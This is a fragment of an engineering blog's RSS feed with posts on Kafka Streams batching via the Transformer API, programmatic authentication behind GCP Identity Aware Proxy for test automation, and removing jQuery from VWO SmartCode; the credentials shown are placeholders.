width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Transformer Interface</h4> Using the Processor API requires manually creating the streams Topology, a process that is abstracted away from the users when using standard DSL operators like <code class="language-text">map()</code>, <code class="language-text">filter()</code>, <code class="language-text">reduce()</code>, etc. The <a href="https://kafka.apache.org/20/javadoc/org/apache/kafka/streams/kstream/Transformer.html"><code class="language-text">Transformer</code></a> interface strikes a nice balance between the ease of using Kafka Streams DSL operators and the capabilities of low-level Processor API. <a href="https://kafka.apache.org/20/javadoc/org/apache/kafka/streams/kstream/Transformer.html">From Kafka Streams documentation</a> : <blockquote> The Transformer interface is for stateful mapping of an input record to zero, one, or multiple new output records (both key and value type can be altered arbitrarily). This is a stateful record-by-record operation, i.e, transform(Object, Object) is invoked individually for each record of a stream and can access and modify a state that is available beyond a single call of transform(Object, Object). Additionally, this Transformer can schedule a method to be called periodically with the provided context. </blockquote> <h4 id="implementation-1" style="position:relative;"><a href="#implementation-1" aria-label="implementation 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Implementation</h4> The <code class="language-text">Transformer</code> interface having access to a key-value store and being able to schedule tasks at fixed intervals meant we could implement our desired batching strategy. Below is the code snippet using the <code class="language-text">transform()</code> operator. <div style="text-align:center; margin: 10px;"> <img src="/images/2020/10/kafka-streams-topology.png"> <div style="margin: 10px;"> Kafka Streams topology generated using <a href ="https://zz85.github.io/kafka-streams-viz/">kafka-streams-viz </a> </div> </div> <div class="gatsby-highlight" data-language="java"><pre class="language-java"><code class="language-java">StreamsBuilder streamsBuilder = new StreamsBuilder(); streamsBuilder.addStateStore( (1) Stores.keyValueStoreBuilder( Stores.inMemoryKeyValueStore(AGGREGATE_KV_STORE_ID), Serdes.Integer(), visitorAggregatedSerde ).withLoggingDisabled().withCachingDisabled()); streamsBuilder.addStateStore( Stores.keyValueStoreBuilder( Stores.inMemoryKeyValueStore(COUNT_KV_STORE_ID), Serdes.Integer(), Serdes.Integer() ).withLoggingDisabled().withCachingDisabled()); streamsBuilder .stream(KAFKA_TOPIC, Consumed.with(Serdes.String(), visitorSerde)) .filter((k, v) -> v != null) .mapValues(VisitorAggregated::new) .transform(() -> (2) new VisitorProcessor(AGGREGATE_THRESHOLD, AGGREGATE_DURATION), AGGREGATE_KV_STORE_ID, COUNT_KV_STORE_ID) .foreach((k, v) -> writeToSink(k, v)); KafkaStreams kafkaStreams = new KafkaStreams(streamsBuilder.build(), streamsConfig); Runtime.getRuntime().addShutdownHook(new Thread(kafkaStreams::close)); (3) kafkaStreams.start();</code></pre></div> <ol> <li>We are using In-memory key-value stores for storing aggregation results and have turned off changelog topic-based backup of the state store. We can do so as the aggregation results don't have to be persisted after they have been forwarded. In case updates to the key-value store have to be persisted, enabling disk <code class="language-text">caching()</code> and changelog topic <code class="language-text">logging()</code> is recommended.</li> <li>In the <code class="language-text">transform</code> Processor, we have attached the state stores <code class="language-text">AGGREGATE_KV_STORE_ID</code>, <code class="language-text">COUNT_KV_STORE_ID</code>, and supply an instance of <code class="language-text">VisitorProcessor</code> class, which implements the <code class="language-text">Transformer</code> interface.<code class="language-text">AGGREGATE_THRESHOLD</code> and <code class="language-text">AGGREGATE_DURATION</code> specify the batching configuration parameters.</li> <li>A background thread listens for the termination signal and ensures a graceful shutdown for the Kafka streams application via <code class="language-text">close()</code>.</li> </ol> <code class="language-text">VisitorProcessor</code> implements the <code class="language-text">init()</code>, <code class="language-text">transform()</code> and <code class="language-text">punctuate()</code> methods of the <code class="language-text">Transformer</code> and <code class="language-text">Punctuator</code> interface. <div class="gatsby-highlight" data-language="java"><pre class="language-java"><code class="language-java">public class VisitorProcessor implements Transformer&lt;String, VisitorAggregated>, Punctuator { private Duration interval; private ProcessorContext ctx; private KeyValueStore&lt;Integer, VisitorAggregated> aggregateStore; private KeyValueStore&lt;Integer, Integer> countStore; private Integer threshold; public VisitorProcessor(Integer threshold, Duration interval) { this.threshold = threshold; this.interval = interval; } @Override public void init(ProcessorContext context) { this.ctx = context; this.aggregateStore = (KeyValueStore) context.getStateStore(Main.AGGREGATE_KV_STORE_ID); this.countStore = (KeyValueStore) context.getStateStore(Main.COUNT_KV_STORE_ID); this.ctx.schedule(interval, PunctuationType.WALL_CLOCK_TIME, this::punctuate); } @Override public KeyValue&lt;String, VisitorAggregated> transform(String key, VisitorAggregated visitor) { KeyValue&lt;String, VisitorAggregated> toForward = null; Integer stateStoreKey = visitor.getCustomerId(); countStore.putIfAbsent(stateStoreKey, 0); aggregateStore.putIfAbsent(stateStoreKey, new VisitorAggregated(visitor.getCustomerId())); Integer aggregateCount = countStore.get(stateStoreKey) + 1; VisitorAggregated visitorAggregated = visitor.merge(aggregateStore.get(stateStoreKey)); aggregateStore.put(stateStoreKey, visitorAggregated); countStore.put(stateStoreKey, aggregateCount); if (aggregateCount >= threshold) { toForward = KeyValue.pair(key, visitorAggregated); countStore.delete(stateStoreKey); aggregateStore.delete(stateStoreKey); } return toForward; } private void forwardAll() { KeyValueIterator&lt;Integer, VisitorAggregated> it = aggregateStore.all(); while (it.hasNext()) { KeyValue&lt;Integer, VisitorAggregated> entry = it.next(); ctx.forward(entry.key, entry.value); aggregateStore.delete(entry.key); countStore.delete(entry.key); } it.close(); } @Override public void punctuate(long timestamp) { forwardAll(); } @Override public void close() { forwardAll(); } }</code></pre></div> <ol> <li><code class="language-text">init()</code> initializes the state stores and schedules <code class="language-text">punctuate()</code> to strictly execute once for every fixed time interval. One state store maintains a count of events per customer and other the results of the aggregation.</li> <li><code class="language-text">transform()</code> is called for all records received from upstream Processor nodes and returns a key-value pair to be processed by downstream nodes. On receiving a record we perform an increment operation for the key (customerId). If the count increases beyond a threshold, the aggregation result is forwarded before the timer is called by the <code class="language-text">punctuate()</code> method, and the state is flushed for the particular key in both state stores. Null values returned from this method are ignored by the downstream Processor nodes.</li> <li><code class="language-text">punctuate()</code> invokes <code class="language-text">forwardAll()</code>, which iterates over all the key-value pairs in the aggregation state store, forwards all key-value pairs at the end of the aggregation interval to downstream Processor nodes, and clears both state stores. <code class="language-text">close()</code> calling <code class="language-text">forwardAll()</code> ensures that whenever the Kafka Streams application receives a shutdown signal, all records in the in-memory store are forwarded before the process exits.</li> </ol> <h3 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h3> Using state stores and Processor API, we were able to batch updates in a predictable and time-bound manner without the overhead of a repartition. Also, using in-memory key-value stores meant that the Kafka Streams application left a minimal footprint on the Kafka cluster. You can find the complete working code <a href="https://github.com/wingify/kafka-streams-stateful">here</a>. Should you have any feedback or doubts regarding this article you can share them via comments. <h3 id="useful-resources" style="position:relative;"><a href="#useful-resources" aria-label="useful resources permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Useful resources</h3> <ul> <li><a href="https://docs.confluent.io/current/streams/quickstart.html">Kafka Streams Quick Start</a></li> <li><a href="https://www.confluent.io/blog/kafka-streams-tables-part-4-elasticity-fault-tolerance-advanced-concepts/">Streams and Tables in Apache Kafka</a></li> <li><a href="https://www.confluent.io/blog/kafka-streams-take-on-watermarks-and-triggers/">Kafka Streams’ Take on Watermarks and Triggers</a></li> <li><a href="https://www.confluent.io/blog/optimizing-kafka-streams-applications/">Optimizing Kafka Streams Applications</a></li> </ul></content:encoded><author>Aditya Gaur</author></item><item><title><![CDATA[Programmatic Authentication under IAP on GCP]]></title><description><![CDATA[Overview We recently started with moving a lot of our infrastructure onto Google Cloud Platform. With this, we also decided that a lot of…]]></description><link>https://engineering.wingify.com//posts/programmatic-authentication-under-iap/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/programmatic-authentication-under-iap/</guid><pubDate>Fri, 25 Sep 2020 00:00:00 GMT</pubDate><content:encoded><h3 id="overview" style="position:relative;"><a href="#overview" aria-label="overview permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Overview</h3> We recently started with moving a lot of our infrastructure onto Google Cloud Platform. With this, we also decided that a lot of entities, that are not supposed to be accessible from outside the organization, should be moved behind GCP’s <a href="https://cloud.google.com/iap">Identity Aware Proxy</a>. Google’s Identity Aware Proxy (IAP) implements zero-trust access to GCP resources. It allows enforcing access control policies for applications and resources, where group-based application access and service account-based access can be configured, without using any VPN. Any resource or application that is present behind IAP can only be accessed through the proxy by members who have the correct Identity and Access Management (IAM) roles. <h3 id="the-problem" style="position:relative;"><a href="#the-problem" aria-label="the problem permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Problem</h3> A lot of our automation frameworks are run on our test-apps, but now moving them behind IAP posed a new challenge of handling the IAP authentication. Reading through the documentation provided on GCP we figured that the process of service account based programmatic authentication of applications was pretty cumbersome. One has to first add the service account to the access list. To do this, go to the <a href="https://console.cloud.google.com/security/iap">Identity Aware proxy page</a>, then select the resource to be secured. Then in the info panel, you can add the email address for the service account, and the access policy desired. This gives you a service account JSON file. Something like this: <div class="gatsby-highlight" data-language="json"><pre class="language-json"><code class="language-json">{ "type": "service_account", "project_id": "PROJECT_ID", "private_key_id": "abcd123", "private_key": "-----BEGIN PRIVATE KEY-----qwerty6789-----END PRIVATE KEY-----\n", "client_email": "someone@PROJECT_ID.iam.gserviceaccount.com", "client_id": "1239876543210", "auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/someone%40PROJECT_ID.iam.gserviceaccount.com" }</code></pre></div> Then use the claim of <code class="language-text">target_audience</code> which you get as the client ID in the previous step, to generate a JWT based token. You can also get the client ID by going to the IAP page, select the resource under consideration, click on the ellipses and then click on Edit OAuth Client. On the subsequent page, you get the client ID associated with the resource. Now, mind you, generating the JSON Web Token (JWT) in itself is a separate task, for which you’d need some JWT library. And then the JWT itself needs to be signed with RSA-256 using the private key which is in the service account JSON file. The signature bytes are then to be added to the token, with dot separators, as: <div class="gatsby-highlight" data-language="json"><pre class="language-json"><code class="language-json">{ "alg": "RS256", "typ": "JWT", "kid": "PRIVATE_KEY_ID" } . { "iss": "someone@PROJECT_ID.iam.gserviceaccount.com", "sub": "someone@PROJECT_ID.iam.gserviceaccount.com", "aud": "https://SERVICE_NAME/", "iat": 1600948084, "exp": 1600951684 } . { [signature bytes] }</code></pre></div> The signed JWT along with the signature bytes addendum and base64url encoded would look something like this: <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiI3NjEzMjY3OTgwNjktcjVtbGpsbG4xcmQ0bHJiaGc3NWVmZ2lncDM2bTc4ajVAZGV2ZWxvcGVyLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzY29wZSI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2F1dGgvcHJlZGljdGlvbiIsImF1ZCI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL29hdXRoMi92NC90b2tlbiIsImV4cCI6MTMyODU1NDM4NSwiaWF0IjoxMzI4NTUwNzg1fQ.UFUt59SUM2_AW4cRU8Y0BYVQsNTo4n7AFsNrqOpYiICDu37vVt-tw38UKzjmUKtcRsLLjrR3gFW3dNDMx_pL9DVjgVHDdYirtrCekUHOYoa1CMR66nxep5q5cBQ4y4u2kIgSvChCTc9pmLLNoIem-ruCecAJYgI9Ks7pTnW1gkOKs0x3YpiLpzplVHAkkHztaXiJdtpBcY1OXyo6jTQCa3Lk2Q3va1dPkh_d--GU2M5flgd8xNBPYw4vxyt0mP59XZlHMpztZt0soSgObf7G3GXArreF_6tpbFsS3z2t5zkEiHuWJXpzcYr5zWTRPDEHsejeBSG8EgpLDce2380ROQ</code></pre></div> Once you have the signed JWT, you have to base64url encode it and then make an OIDC access token request. This request would be a POST request and should be made to the Google OAuth API URL. Two parameters, <code class="language-text">grant_type</code> and <code class="language-text">assertion</code> are to be added to this request. <code class="language-text">grant_type</code> has the string value of <code class="language-text">urn:ietf:params:oauth:grant-type:jwt-bearer</code> while the <code class="language-text">assertion</code> parameter has the signed JWT, including the signature bytes, as it's value. <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">POST /token HTTP/1.1 Host: GOOGLE_OAUTH_API_URL Content-Type: application/x-www-form-urlencoded grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&amp;assertion=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiI3NjEzMjY3OTgwNjktcjVtbGpsbG4xcmQ0bHJiaGc3NWVmZ2lncDM2bTc4ajVAZGV2ZWxvcGVyLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzY29wZSI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL2F1dGgvcHJlZGljdGlvbiIsImF1ZCI6Imh0dHBzOi8vYWNjb3VudHMuZ29vZ2xlLmNvbS9vL29hdXRoMi90b2tlbiIsImV4cCI6MTMyODU3MzM4MSwiaWF0IjoxMzI4NTY5NzgxfQ.ixOUGehweEVX_UKXv5BbbwVEdcz6AYS-6uQV6fGorGKrHf3LIJnyREw9evE-gs2bmMaQI5_UbabvI4k-mQE4kBqtmSpTzxYBL1TCd7Kv5nTZoUC1CmwmWCFqT9RE6D7XSgPUh_jF1qskLa2w0rxMSjwruNKbysgRNctZPln7cqQ</code></pre></div> The received response would contain the Bearer access token. This token then needs to be incorporated in all the requests that are made to the resources which are present behind the IAP. At the onset, if you read the description above, and if that description is not daunting enough, then <a href="https://cloud.google.com/iap/docs/authentication-howto#iap_make_request-nodejs">read the documentation itself</a>; The steps seem to be confusing and seems like it could do some rework in being more comprehendible. <h3 id="the-solution" style="position:relative;"><a href="#the-solution" aria-label="the solution permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Solution</h3> Fortunately, Google has made google auth libraries where all the above procedures are already implemented and are well abstracted. Searching google-auth-library would return results with their implementation in multiple languages. We used the <a href="https://github.com/googleapis/google-auth-library-nodejs">node library</a> since we had our automation projects majorly implemented through protractor and javascript. The implementation looks something like this : <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">function main(targetAudience = 'CLIENT_ID_GOES_HERE') { const { GoogleAuth } = require('google-auth-library'); const auth = new GoogleAuth(); function request() { auth.getIdTokenClient(targetAudience).then(function (client) { client.getRequestHeaders().then(function (headers) { console.info('headers', headers); }); }); } request(); } main();</code></pre></div> This was used to generate the Bearer auth token that could then be further used in making requests to our test apps under automation testing. In the app automation where we required browser instances from Protractor to run automations on test-apps, we made use of the node implementation of <a href="https://github.com/zzo/browsermob-node">browsermob-proxy</a> along with the <a href="https://github.com/lightbody/browsermob-proxy">browsermob-proxy server</a>. Using Protractor’s lifecycle method <code class="language-text">beforeAll</code>, we made sure that the token is fetched and ready to be used before any of the spec files are executed. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">exports.setIap = function () { beforeAll(function (done) { global.iapAuthToken = 'CLIENT_ID_GOES_HERE'; if (browser.params.isRunOnTestApp) { var targetAudience = ''; const auth = new GoogleAuth(); auth.getIdTokenClient(targetAudience).then(function (client) { client.getRequestHeaders().then(function (headers) { iapAuthToken = headers.Authorization; done(); }); }); } else { done(); } }); };</code></pre></div> Then the global available value of this token was used to set the authorization header in the proxy spawned. We used the <code class="language-text">addHeader</code> method for this. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var headersToSet = {}; headersToSet.Authorization = global.iapAuthToken; proxy.addHeader(port, headersToSet, function (err, resp) { if (err) { console.error('Error encountered', err); } else { console.info(`Headers added ${JSON.stringify(headersToSet)}, ${resp}`); } });</code></pre></div> This allowed us to add the authorization bearer token to every request that was being made through the Protractor browser instance. The addition of the proxy option to protractor browser capabilities was done to have Protractor route all it’s browser requests through the proxy spawned at the designated <code class="language-text">host: port</code> combination. <div class="gatsby-highlight" data-language="json"><pre class="language-json"><code class="language-json">proxy: { "proxyType": "manual", "httpProxy": `${this.params.proxyHost}:${this.params.proxyPort}`, "sslProxy": `${this.params.proxyHost}:${this.params.proxyPort}` }</code></pre></div> In our Node.js-based automations, we were making use of the request module to make API calls for their assertion. We overrode it to accommodate the addition of the authorization bearer token in every request that was being made. <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">exports.customRequest = function (options, callback) { var base; if (browser.params.isRunOnTestApp) { base = request.defaults({ headers: { Authorization: iapAuthToken, }, jar: true, }); } else { base = request.defaults({ jar: true, }); } base(options, callback); };</code></pre></div> And for all our load tests that were being run through JMeter, we made use of a similar script as mentioned in the first example above. It generates the access token and writes it to a file. This file is then read by the JMX scripts while adding the authorization bearer token to all the network requests that are made through JMeter. Keeping in mind that these tokens have a short expiration, we generate the token and write them to the files as and when the load tests are run. <h3 id="aftermath" style="position:relative;"><a href="#aftermath" aria-label="aftermath permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Aftermath</h3> The IAP is a good option to regulate access to private resources without having to implement a VPN tunneling. But throwing accessibility to automated agents in the mix created new interesting challenges here. There are some obvious pros to it: <ol> <li>Easy access regulation to resources</li> <li>Fine-grained control of access through users' and services' IAM roles</li> <li>Access through untrusted networks without the requirements of a VPN tunnel</li> </ol> But there are some cons that we discovered along the way of implementing programmatic authentication: <ol> <li>Slower execution speeds on private resources, a resultant of re-routing the access which is done to add authorization headers</li> <li>Added overhead of handling authentication in automation tests, which does not cater to the user flow being tested. Users won't be accessing the actual app over IAP.</li> </ol></content:encoded><author>Punit Goswami</author></item><item><title><![CDATA[Performance improvements in VWO SmartCode]]></title><description><![CDATA[VWO puts a lot of focus on ensuring websites remain performant enough while using VWO. We have been increasing the efforts in this area and…]]></description><link>https://engineering.wingify.com//posts/performance-improvements-in-vwo-smart-code/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/performance-improvements-in-vwo-smart-code/</guid><pubDate>Wed, 08 Jan 2020 00:00:00 GMT</pubDate><content:encoded>VWO puts a lot of focus on ensuring websites remain performant enough while using VWO. We have been increasing the efforts in this area and due to this, we are able to bring two very big optimizations which would directly reduce the impact on the performance of the websites. <h2 id="jquery-dependency-removed" style="position:relative;"><a href="#jquery-dependency-removed" aria-label="jquery dependency removed permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>jQuery Dependency Removed</h2> <a href="https://vwo.com/">VWO</a> primarily used to be an A/B testing tool (now a complete Experience Optimization Platform) wherein customers can apply changes to their websites using VWO’s editor without having to make changes in their website code. To achieve this we required a DOM manipulation and traversal library which was well supported on all the browsers and jQuery was the best choice back then. It has served us well over the years but we could not update jQuery and were stuck with its version 1.4.2 because of a <a href="https://help.vwo.com/hc/en-us/articles/360020730394-What-Is-VWO-Code-Editor">feature</a> we provide to our customers wherein they can use any API of jQuery(exposed by VWO as vwo_$). It allowed customers not to include jQuery twice on the page if the customer’s website was already using it. It was the right choice back then as jQuery was very popular and almost every website had it. But as people started using various methods of jQuery, there was a risk in upgrading jQuery version because we can’t be sure what methods are being used by customers and what changes in those methods’ APIs had been done in newer versions of jQuery. To improve the performance of the library we decided to write a small alternative of jQuery based on <a href="https://github.com/kenwheeler/cash/">cash.js</a> and jQuery.js, this new library is around 13KB (Minified and Uncompressed) as compared to 70.5 KB(Minified and Uncompressed) of jQuery 1.4.2. Why not jQuery <ul> <li> jQuery is huge in uncompressed size (70.5KB). <ul> <li>jQuery needs to take care of all the browser quirks and in all possible ways, a method is called.</li> </ul> </li> <li> We were also not using all the features that it had to offer. <ul> <li>jQuery provides a lot of methods and not all of them are required for our purpose, For example, we don’t require animation support in CSS</li> <li>It provides a <a href="https://projects.jga.me/jquery-builder/">custom builder</a> that allows users to skip certain modules but the resulting JS size was still a lot as it has unwanted things not used by us.</li> </ul> </li> </ul> So, the solution was to create our own alternative of jQuery which would meet the following requirements. <ol> <li>A very custom solution implementing only the functionality required by VWO - to keep the code size smallest possible supporting IE11+ and all other browsers (Chrome/Firefox/Opera/Safari/Edge). We used <a href="https://browserl.ist/?q=defaults">Browserlist</a> to identify browsers’ share and decided to not support browsers with percentage share less than 1 percent.</li> <li>It should conform to jQuery API so that almost no change is required in the code using jQuery earlier.</li> <li>It should be as stable as jQuery. </li> </ol> <h3 id="steps-we-took-to-migrate-to-no-jquery" style="position:relative;"><a href="#steps-we-took-to-migrate-to-no-jquery" aria-label="steps we took to migrate to no jquery permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Steps we took to migrate to “no jQuery”</h3> <ol> <li>We started by scanning the entire library codebase for calls matching vwo_$().methodName with a regular expression search and were able to get a list of jQuery methods being used by VWO.</li> <li>We found out methods that were just “syntactic sugar” and were being used e.g. there was first() method which is technically equivalent to eq(0). So, we changed the usage of the first method to eq(0).</li> <li>We started taking the implementation of the methods from the latest jQuery version as-is and started removing the code that wasn’t for us.</li> <li>We took the tests from cash.js and ran its tests. We chose cash.js tests for this because it’s functionality is a very small subset of jQuery and is mostly a superset of our requirements. A lot of tests failed and we identified which failures are acceptable and which are not and accordingly modified the tests.</li> <li>We integrated the new library with our codebase and ran tests. We have a good number of Integration tests and E2E Tests apart from Unit tests for our libraries using the jQuery. Even though our existing Unit Tests didn’t help here but good coverage with Integration and E2E tests helped in finding bugs.</li> <li>Apart from Automated Tests, we did a good amount of Manual Testing across various browsers and platforms with all the libraries which took the major effort.</li> <li> Once all testing passed, we decided to enable this new library for <a href="https://vwo.com/">vwo.com</a> as the website uses VWO itself to monitor the errors in production. <ul> <li>This was required to test the library in production with all sorts of devices and browsers visitors come from.</li> <li>The website has <a href="https://sentry.io/organizations/vwo/issues/">sentry</a> in place to track any errors coming on the website.</li> <li>We monitored the errors for a few days and were able to identify a few bugs from it which neither our automation nor manual testing was able to catch.</li> </ul> </li> <li>After the bugs were fixed, we monitored for a few more days just to be sure and then we enabled it for all the new users signing up for VWO. It isn’t possible to enable it for existing accounts as they might be using some methods of jQuery directly.</li> <li>Next, we would be working on a way to reliably identify accounts for which the new library can be automatically enabled.</li> </ol> Below are the performance stats for a static and local website (we chose this to eliminate network fluctuations) using the two different versions of our library. All the stats are median of five performance audits we did. <table style="width:70%" align="center" border="1px solid black"> <thead> <tr align="center"> <th></th> <th>Time to Interactive</th> <th>First CPU Idle</th> <th>Performance Score</th> </tr> </thead> <tbody> <tr> <td>With jQuery </td> <td>6.1</td> <td>5.9</td> <td>74</td> </tr> <tr> <td>Without jQuery</td> <td>5.4</td> <td>5.1</td> <td>79</td> </tr> </tbody> </table> <h2 id="brotli-compression-for-all-static-files" style="position:relative;"><a href="#brotli-compression-for-all-static-files" aria-label="brotli compression for all static files permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 